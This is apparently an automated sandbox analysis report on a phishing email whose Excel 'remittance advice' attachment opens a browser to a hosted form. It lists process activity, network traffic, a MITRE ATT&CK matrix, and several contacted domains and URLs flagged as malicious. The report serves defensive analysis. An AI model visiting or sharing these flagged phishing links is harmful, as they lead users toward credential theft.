Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58055
Source: unknown	Network traffic detected: HTTP traffic on port 58103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58051

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:58022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.17:58035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:58043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.182:443 -> 192.168.2.17:58044 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.evad.winEML@27/52@54/144

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240703T1431450296-1428.etl

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\23eb97f4-980c-745d-c5e2-6fdb70189e48.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "3746BD7C-CAAA-4E9B-B5E3-A783F3BDADA9" "EAC5D534-D677-47E3-848A-9EE2928924C7" "1428" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\ETS9RD8W\Mitek Holdings Inc Remittance Advice.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "3746BD7C-CAAA-4E9B-B5E3-A783F3BDADA9" "EAC5D534-D677-47E3-848A-9EE2928924C7" "1428" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" /Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://form.questionscout.com/667c5a5b01ef84c1eaf4663e
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2024,i,8418763609125932989,11422265555400074771,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\ETS9RD8W\Mitek Holdings Inc Remittance Advice.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE" /Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://form.questionscout.com/667c5a5b01ef84c1eaf4663e
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2024,i,8418763609125932989,11422265555400074771,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Persistence and Installation Behavior

AI detected suspicious e-Mail

Source: e-Mail

LLM: Score: 9 Reasons: The email impersonates Microsoft, a well-known brand. The sender's email address 'microsoft@mii.com' is suspicious and does not match Microsoft's official domain. The subject line 'Microsoft Corporate Structure' is designed to create interest. The email body contains a hyperlink 'www.mii.com/corporate-structure/' that does not lead to an official Microsoft website, indicating a potential phishing attempt.

Office viewer loads remote template

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 DLL Side-Loading	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
dualstack.awseb-awseb-147jj8pq9oolw-1566203385.us-east-1.elb.amazonaws.com	50.16.154.212	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
github.com	140.82.121.4	true	false	unknown
d3djdih2k2vfi2.cloudfront.net	18.245.33.131	true	false	unknown
geolocation-db.com	159.89.102.253	true	true	unknown
brentwoodnsteel.shop	69.49.245.172	true	false	unknown
v8ylw.pargape.com	188.114.96.3	true	false	unknown
code.jquery.com	151.101.130.137	true	false	unknown
d2vgu95hoyrpkh.cloudfront.net	13.227.219.47	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.17.2.184	true	false	unknown
www.google.com	216.58.206.36	true	false	unknown
xks.vrt7119.ru	172.67.169.107	true	false	unknown
questionscout-form-api-prod.us-east-1.elasticbeanstalk.com	18.208.94.120	true	false	unknown
d19d360lklgih4.cloudfront.net	65.9.86.73	true	false	unknown
objects.githubusercontent.com	185.199.108.133	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
form.questionscout.com	unknown	unknown	true	unknown
cdn.socket.io	unknown	unknown	true	unknown
formapi.questionscout.com	unknown	unknown	true	unknown
ok4static.oktacdn.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/tk19v/0x4AAAAAAAZ_ULCgVPKce-5k/auto/normal	true	unknown
